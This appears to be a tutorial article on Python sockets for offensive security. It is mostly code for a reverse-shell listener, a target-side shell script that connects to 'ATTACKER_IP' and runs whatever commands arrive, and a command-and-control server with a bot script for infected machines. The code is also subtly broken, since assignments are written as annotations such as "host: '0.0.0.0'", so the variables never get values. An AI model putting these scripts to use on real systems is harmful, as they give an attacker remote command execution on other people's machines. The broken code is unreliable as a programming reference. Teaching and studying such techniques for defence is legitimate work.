Cover Image

Using Python Sockets for Offensive Security

Introduction

In this article, we will explore how to use Python sockets in the context of offensive security. Sockets enable communication between two machines over a network, and mastering them is crucial for cybersecurity professionals. We will cover practical cases such as reverse shells and command and control (C2) servers.

Python Socket Basics

A socket is a communication endpoint between two processes across a network. In Python, the socket library allows easy creation and management of sockets.

Creating a Socket in Python

In this example, we create a socket using the socket library in Python. socket.AF_INET specifies that we are using IPv4, while socket.SOCK_STREAM indicates that we are using the TCP protocol for communication.

import socket
# This is a socket
s: socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Using Sockets with Threads

To create a performant socket program, it is recommended to use threads. Using threads allows managing multiple connections simultaneously without blocking program execution.

In this example, we create a simple server that uses threads to handle multiple clients. The handle_client() function is used to handle each client connection. When a new connection is established, a new thread is created to handle communication with that client, allowing the server to continue accepting new connections.

import socket
import threading

def handle_client(conn, addr):
    print(f"[+] Connection established with {addr[0]}:{addr[1]}")
    conn.send(b"Welcome to the server!")
    conn.close()

host: '0.0.0.0'
port: 12345

s: socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

print(f"[+] Waiting for connection on port {port}...")
while True:
    conn, addr = s.accept()
    thread: threading.Thread(target=handle_client, args=(conn, addr))
    thread.start()

Reverse Shells with Python and Threads

A reverse shell is an attack technique in which an attacker opens a connection from the target machine to their own machine, allowing full access to the target machine. Python sockets and threads can be used to create performant reverse shells.

Creating a Listener Server for Reverse Shell

In this example, we create a listener server on the attacker’s machine using a Python socket and threads. The handle_reverse_shell() function is used to handle the target machine connection. When a reverse shell is established, a new thread is created to handle communication with the target machine, allowing the listener server to continue accepting new connections.

import socket
import threading

def handle_reverse_shell(conn, addr):
    print(f"[+] Reverse shell established with {addr[0]}:{addr[1]}")
    while True:
        command: input("Enter a command: ")
        if command.lower() == "exit":
            break
        conn.send(command.encode('utf-8'))
        response: conn.recv(1024).decode('utf-8')
        print(response)

host: '0.0.0.0'
port: 4444

s: socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

print(f"[+] Waiting for connection on port {port}...")
while True:
    conn, addr = s.accept()
    thread: threading.Thread(target=handle_reverse_shell, args=(conn, addr))
    thread.start()

Creating a Reverse Shell Script for the Target Machine

On the target machine, create a Python script that will establish a connection with the attacker’s listener server. This script uses a socket to connect to the listener server’s IP address and port, then enters a loop where it receives commands from the attacker, executes them, and sends the results.

import socket
import subprocess

host: "ATTACKER_IP"
port: 4444

s: socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

while True:
    command: s.recv(1024).decode('utf-8')
    if command.lower() == "exit":
        break
    output: subprocess.getoutput(command)
    s.send(output.encode('utf-8'))

s.close()

Command and Control (C2) Servers

Command and control (C2) servers are used by attackers to remotely control compromised machines. Python sockets and threads can be used to create a C2 server and communicate with infected machines.

Creating a C2 Server with Sockets and Threads

In this example, we create a C2 server using sockets and threads. The server waits for connections from infected machines and handles each connection in a separate thread using the handle_bot() function.

import socket
import threading

def handle_bot(conn, addr):
    print(f"[+] Bot connected: {addr[0]}:{addr[1]}")
    while True:
        command: input(f"Enter a command for bot {addr[0]}:{addr[1]}: ")
        if command.lower() == "exit":
            break
        conn.send(command.encode('utf-8'))
        response: conn.recv(1024).decode('utf-8')
        print(response)

def select_bot(bots):
    selected_ip: input("Enter the IP address of the bot you want to control: ")
    for conn, addr in bots:
        if addr[0] == selected_ip:
            return conn, addr
    return None, None

host: '0.0.0.0'
port: 8888

s: socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

bots: []

print(f"[+] Waiting for bot connections on port {port}...")
while True:
    conn, addr = s.accept()
    bots.append((conn, addr))
    print(f"[+] New bot connected: {addr[0]}:{addr[1]}")

    while True:
        selected_conn, selected_addr = select_bot(bots)
        if selected_conn is None:
            print("Bot not found, please try again.")
        else:
            thread: threading.Thread(target=handle_bot, args=(selected_conn, selected_addr))
            thread.start()
            break

Creating a Bot Script for Infected Machines

On infected machines, create a Python script that will establish a connection with the C2 server. This script uses a socket to connect to the C2 server’s IP address and port, then enters a loop where it receives commands from the server, executes them, and sends the results.

import socket
import subprocess

host: "C2_SERVER_IP"
port: 8888

s: socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

while True:
    command: s.recv(1024).decode('utf-8')
    if command.lower() == "exit":
        break
    output: subprocess.getoutput(command)
    s.send(output.encode('utf-8'))

s.close()

Conclusion

In summary, Python sockets and threads can be used to create offensive security tools, such as reverse shells and C2 servers. Mastering these techniques is essential for cybersecurity professionals to exploit vulnerabilities and strengthen defenses.

⚠️ Disclaimer: The code presented in this article is for educational and research purposes only. The author and contributors are in no way responsible for any malicious use of the code or information provided. By using these examples, you agree not to hold the author or contributors liable for any misuse of the code.